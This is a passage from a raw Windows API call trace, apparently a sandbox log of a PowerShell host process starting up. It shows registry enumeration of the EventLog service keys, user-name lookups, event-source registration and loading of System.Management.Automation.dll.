lpcchName=0x29e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.095] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x8, lpName=0x3566f8, lpcchName=0x29e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x29e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.095] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x32c) returned 0x0 [0076.095] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x0) returned 0x2 [0076.095] RegOpenKeyExW (in: hKey=0x328, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x348) returned 0x0 [0076.095] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x0) returned 0x2 [0076.096] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x358) returned 0x0 [0076.096] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x0) returned 0x2 [0076.096] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x35c) returned 0x0 [0076.096] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x0) returned 0x2 [0076.097] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x360) returned 0x0 [0076.097] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x0) returned 0x2 [0076.097] RegOpenKeyExW (in: hKey=0x328, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x364) returned 0x0 [0076.097] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x0) returned 0x2 [0076.097] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x368) returned 0x0 [0076.097] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x0) returned 0x2 [0076.098] RegOpenKeyExW (in: hKey=0x328, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x36c) returned 0x0 [0076.098] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x0) returned 0x2 [0076.098] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x370) returned 0x0 [0076.098] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e678 | out: phkResult=0x29e678*=0x374) returned 0x0 [0076.098] RegCloseKey (hKey=0x374) returned 0x0 [0076.098] RegCloseKey (hKey=0x328) returned 0x0 [0076.099] RegCloseKey (hKey=0x370) returned 0x0 [0076.115] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x356eb8, nSize=0x29e7c4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x29e7c4) returned 0x1 [0076.117] GetLastError () returned 0x3 [0076.118] GetUserNameW (in: lpBuffer=0x3566f8, pcbBuffer=0x29e7cc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x29e7cc) returned 1 [0076.158] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e62c | out: phkResult=0x29e62c*=0x328) returned 0x0 [0076.158] RegQueryInfoKeyW (in: hKey=0x328, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29e694, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e690, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29e694*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e690*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.158] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x0, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.158] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x1, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.158] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x2, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.158] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x3, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.159] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x4, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.159] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x5, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.159] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x6, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.159] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x7, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.159] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x8, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.159] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x374) returned 0x0 [0076.160] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.160] RegOpenKeyExW (in: hKey=0x328, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x378) returned 0x0 [0076.160] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.160] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x37c) returned 0x0 [0076.160] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.160] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x380) returned 0x0 [0076.161] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.161] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x384) returned 0x0 [0076.161] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.161] RegOpenKeyExW (in: hKey=0x328, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x388) returned 0x0 [0076.161] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.161] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x38c) returned 0x0 [0076.161] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.162] RegOpenKeyExW (in: hKey=0x328, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x390) returned 0x0 [0076.162] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.162] RegOpenKeyExW (in: hKey=0x328, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x394) returned 0x0 [0076.162] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x398) returned 0x0 [0076.162] RegCloseKey (hKey=0x398) returned 0x0 [0076.162] RegCloseKey (hKey=0x328) returned 0x0 [0076.163] RegCloseKey (hKey=0x394) returned 0x0 [0076.163] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e62c | out: phkResult=0x29e62c*=0x394) returned 0x0 [0076.163] RegQueryInfoKeyW (in: hKey=0x394, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29e694, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e690, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29e694*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e690*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.163] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x0, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.163] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x1, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.163] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x2, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.163] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x3, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.164] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x4, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.164] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x5, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.164] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x6, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.164] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x7, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.164] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x8, lpName=0x3566f8, lpcchName=0x29e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x29e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.164] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x328) returned 0x0 [0076.164] RegOpenKeyExW (in: hKey=0x328, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.165] RegOpenKeyExW (in: hKey=0x394, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x398) returned 0x0 [0076.165] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.165] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x39c) returned 0x0 [0076.165] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.165] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x3a0) returned 0x0 [0076.166] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.166] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x3a4) returned 0x0 [0076.166] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.166] RegOpenKeyExW (in: hKey=0x394, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x3a8) returned 0x0 [0076.166] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.167] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x3ac) returned 0x0 [0076.167] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.167] RegOpenKeyExW (in: hKey=0x394, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x3b0) returned 0x0 [0076.167] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x0) returned 0x2 [0076.167] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x3b4) returned 0x0 [0076.167] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e65c | out: phkResult=0x29e65c*=0x3b8) returned 0x0 [0076.168] RegCloseKey (hKey=0x3b8) returned 0x0 [0076.168] RegCloseKey (hKey=0x394) returned 0x0 [0076.168] RegCloseKey (hKey=0x3b4) returned 0x0 [0076.168] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e620 | out: phkResult=0x29e620*=0x3b4) returned 0x0 [0076.168] RegQueryInfoKeyW (in: hKey=0x3b4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29e688, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e684, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29e688*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e684*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegEnumKeyExW (in: hKey=0x3b4, dwIndex=0x0, lpName=0x3566f8, lpcchName=0x29e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x29e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegEnumKeyExW (in: hKey=0x3b4, dwIndex=0x1, lpName=0x3566f8, lpcchName=0x29e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x29e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegEnumKeyExW (in: hKey=0x3b4, dwIndex=0x2, lpName=0x3566f8, lpcchName=0x29e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x29e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegEnumKeyExW (in: hKey=0x3b4, dwIndex=0x3, lpName=0x3566f8, lpcchName=0x29e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x29e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegEnumKeyExW (in: hKey=0x3b4, dwIndex=0x4, lpName=0x3566f8, lpcchName=0x29e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x29e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegEnumKeyExW (in: hKey=0x3b4, dwIndex=0x5, lpName=0x3566f8, lpcchName=0x29e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x29e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegEnumKeyExW (in: hKey=0x3b4, dwIndex=0x6, lpName=0x3566f8, lpcchName=0x29e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x29e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegEnumKeyExW (in: hKey=0x3b4, dwIndex=0x7, lpName=0x3566f8, lpcchName=0x29e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x29e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegEnumKeyExW (in: hKey=0x3b4, dwIndex=0x8, lpName=0x3566f8, lpcchName=0x29e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x29e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.169] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x394) returned 0x0 [0076.169] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x0) returned 0x2 [0076.170] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x3b8) returned 0x0 [0076.170] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x0) returned 0x2 [0076.170] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x3bc) returned 0x0 [0076.170] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x0) returned 0x2 [0076.170] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x3c0) returned 0x0 [0076.170] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x0) returned 0x2 [0076.170] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x3c4) returned 0x0 [0076.171] RegOpenKeyExW (in: hKey=0x3c4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x0) returned 0x2 [0076.171] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x3c8) returned 0x0 [0076.171] RegOpenKeyExW (in: hKey=0x3c8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x0) returned 0x2 [0076.171] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x3cc) returned 0x0 [0076.171] RegOpenKeyExW (in: hKey=0x3cc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x0) returned 0x2 [0076.171] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x3d0) returned 0x0 [0076.171] RegOpenKeyExW (in: hKey=0x3d0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x0) returned 0x2 [0076.171] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x3d4) returned 0x0 [0076.172] RegOpenKeyExW (in: hKey=0x3d4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e650 | out: phkResult=0x29e650*=0x3d8) returned 0x0 [0076.172] RegCloseKey (hKey=0x3d8) returned 0x0 [0076.172] RegCloseKey (hKey=0x3b4) returned 0x0 [0076.172] RegCloseKey (hKey=0x3d4) returned 0x0 [0076.180] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x4ed0004 [0076.184] GetLastError () returned 0x0 [0076.185] ReportEventW (hEventLog=0x4ed0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3388ae4*="WSMan", lpRawData=0x338898c) returned 1 [0076.214] GetLastError () returned 0x0 [0076.215] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0076.215] GetLastError () returned 0xcb [0076.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e1c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.216] GetLastError () returned 0xcb [0076.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0076.216] GetLastError () returned 0xcb [0076.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 